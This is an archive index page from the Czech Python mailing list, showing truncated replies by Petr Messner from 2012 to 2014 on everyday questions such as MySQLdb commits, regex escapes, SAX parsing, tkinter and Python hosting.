Ahoj, můžeš nějak zjistit, jak a čím je ten proces zabit? Třeba přes strace nebo gdb. Jednoduchý CGI skript, který spustí něco časově delšího přes subprocess.Popen (ale samozřejmě nejoinuje) a hned se ukončí, mi funguje a proces na pozadí zůstane běžet. Ale záleží na tom, co s tím dělá ještě ten

Re: [python] hook na imap

2012-10-13 Tema obsahu Petr Messner
Ahoj, máš přístup ke konfiguraci mail (SMTP) serveru, který tyto maily přijímá? Možná by se tam dalo nastavit spouštění něčeho. Nebo nastavit přesměrování na vlastní SMTP server v Pythonu :) Petr Messner 13. 10. 2012 v 18:09, Visgean Skeloru visg...@gmail.com: Ahoj, píšu script co

Re: [python] hook na imap

2012-10-14 Tema obsahu Petr Messner
Messner petr.mess...@gmail.com Ahoj, máš přístup ke konfiguraci mail (SMTP) serveru, který tyto maily přijímá? Možná by se tam dalo nastavit spouštění něčeho. Nebo nastavit přesměrování na vlastní SMTP server v Pythonu :) Petr Messner 13. 10. 2012 v 18:09, Visgean Skeloru visg...@gmail.com

Re: [python] hook na imap

2012-10-14 Tema obsahu Petr Messner
Třeba Runit nebo Daemontools. Petr Messner 15. 10. 2012 v 0:19, Visgean Skeloru visg...@gmail.com: Mhmm, ok to zní už hodně složitě... radši to vydržím s tím cronem. I když cron je asi nevhodný tady lepší by bylo spustit to jedno a používat sleep - neznáte nějaký použitelný postup na

Re: [python] Podivné: MySQLdb pod Windows 7 nezapisuje do tabulky

2012-12-08 Tema obsahu Petr Messner
Děláte po zápisu commit? Petr Messner 9. 12. 2012 v 8:07, Ing. Vladislav Ludík vl...@ludik.cz: Zdravím všechny. Narazil jsem na podivné chování modulu MySQLdb. Nainstaloval jsem ComplexWebServer.1.4.14.msi na Windows 7 - x64. V počítači je Python 2.7.3.msi + modul MySQL-python-1.2.3

Re: [python] smazání větve xml v celém dokumentu

2013-01-21 Tema obsahu Petr Messner
Pokud jde o to, že se ten xml dokument nevejde do paměti, tak řešením je SAX: http://lxml.de/sax.html Jestli to tedy neni zrovna to procházení, které nechceš :) Petr Messner 21. 1. 2013 v 11:18, Ondrej Beranek rain...@gmail.com: mám rozsáhlý a tučný (několik gb) XML dokument, existuje

Re: [python] regexpové \t

2013-03-02 Tema obsahu Petr Messner
Jen pro jistotu - \t je tabulator, nebo zpetne lomitko a za ním malé písmeno t? Petr Messner 2. 3. 2013 v 12:16, Roman Beno romanbeno...@gmail.com: Dobrý deň, vedeli by ste niekto poradiť ako vyjadrím \t ako súčasť retazca v regulárnom retazci? dajme tomu že mám retazec: 577\t577 577

Re: [python] regexpové \t

2013-03-02 Tema obsahu Petr Messner
Má to být takhle? re.sub(r\d+\t, 595tab, 577\t577 577) '595tab577 577' Ten dolar ($) označuje konec řetězce, takže jakýkoliv regulární výraz obsahující dolar jinde než na konci nemá moc velký smysl. PM 2013/3/2 Roman Beno romanbeno...@gmail.com Dobrý deň, vedeli by ste niekto poradiť ako

Re: [python] Článek o brythonu

2013-03-05 Tema obsahu Petr Messner
Když se podíváš na assembler, který leze z překladače, taky ti může připadat jako od někoho, kdo assembler nikdy neviděl. A přesto takové programy vesele používáš :) Petr Messner 5. 3. 2013 v 15:46, azurIt azu...@pobox.sk: Ty si JavaScript este nikdy nevidel? :) *Normalny* ekvivalent k tomu

Re: [python] O řádek níž (Roman)

2013-06-27 Tema obsahu Petr Messner
Dne 27. června 2013 13:38 Roman Frajt r.fr...@centrum.cz napsal(a): Nanistaloval jsem Anacondu, do cmd.exe jsem úspěšně zadal conda update conda a conda update ipython, ale teď vlastně nevím, jestli už to teda mám nebo nemám nainstalované, ve startu mám k dispozici položku - IP iPython (2.7),

Re: [python] Ponořme se do Python(u) 3

2013-06-27 Tema obsahu Petr Messner
Přímo v knize vidím odkaz na http://diveintopython3.py.cz/examples/humansize.py Je to ono? PM Dne 27. června 2013 14:53 Roman Frajt r.fr...@centrum.cz napsal(a): Snažím se jako začátečník začít učit Python podle knihy Ponořme se do Python(u) 3, ale hned na začátku jsem narazil na tento

Re: [python] Nabídka práce pro příznivce programovacího jazyka Python

2013-07-03 Tema obsahu Petr Messner
Dne 2. července 2013 21:54 Jaroslav Lukesh luk...@seznam.cz napsal(a): Zkuste Zope, má nativní stromovou databázi, dokonce umí i SQL zestromovatět. Tahle databáze je geniální na katalogovou strukturu - typicky starý dobrý yahoo a seznam než to začali dělat i s fultextem, sklady, náhradní

Re: [python] How To Think

2013-08-03 Tema obsahu Petr Messner
Nazdar já jsem to nějak moc nepročítal, ale zahlédl jsem tam podobný kód: def double_stuff_p ( a_list ): new_list = [] for value in a_list: new_list += [2*value] return new_list Co ty mezery? To asi nebude podle PEP 8 :) Jestli je to materiál pro začátečníky, jak

Re: [python] volání funkce, kde název je uložen v proměnné

2013-10-09 Tema obsahu Petr Messner
Proč něco takového chceš? PM Dne 9. října 2013 15:45 bertiks...@gmail.com napsal(a): Mám název funkce v proměnné, tak bych se chtěl zeptat jak tu funkci můžu zavolat? jde mi o to abych dále té funkci mohl dát další parametry ___ Python mailing

Re: [python] tkinter a win32ui

2013-10-16 Tema obsahu Petr Messner
To root.mainloop() spustí smyčku, která zpracovává eventy. Mělo by se to ukončit po zavření posledního okna. Viz také http://stackoverflow.com/a/8685760/196206 Toto je u GUI (i jiných, třeba síťových) programů obvyklý design. Pokud chceš něco provádět vedle té smyčky, tak pro to ty knihovny (v

Re: [python] začiatočník programuje alebo čo som zostrojil a nefunguje to

2013-10-18 Tema obsahu Petr Messner
Ahoj, podmínku ukončovat nemusíš. Toto je funkční a korektní podmínka: if tohle: tamto() Funkce se dá dát i do podmínky. Např. takto: if jmeno == Petr: def pozdrav(): print(Ahoj) pozdrav() # ale když je funkce definovaná v podmínce, tak # v případě nesplnění podmínky ta

Re: [python] Python freehosting

2014-02-05 Tema obsahu Petr Messner
Pokud free = cena jedno, dvou... piv za měsíc, pak existují hostingy/aplikační cloudy, jako je rosti.cz, heroku.com nebo Google App Engine. Pokud zvládneš administraci linuxového serveru, tak není problém Python provozovat v nějakém levném VPS třeba u wedos.cz nebo virtio.cz. PM Dne 5. února

Re: [python] Platební brána

2014-02-18 Tema obsahu Petr Messner
Třeba něco takového? http://qr-platba.cz/ PM Dne 16. února 2014 23:26 Ctibor.Plasek ctibor.pla...@seznam.cz napsal(a): Ahoj. Vím, že tato problematika se přímo Pythonu netýká, ale třeba jste se někdy s takovým problémem setkali a dokázali byste mi poradit. Dělal jsem e-shop a potřeboval

  1   2   >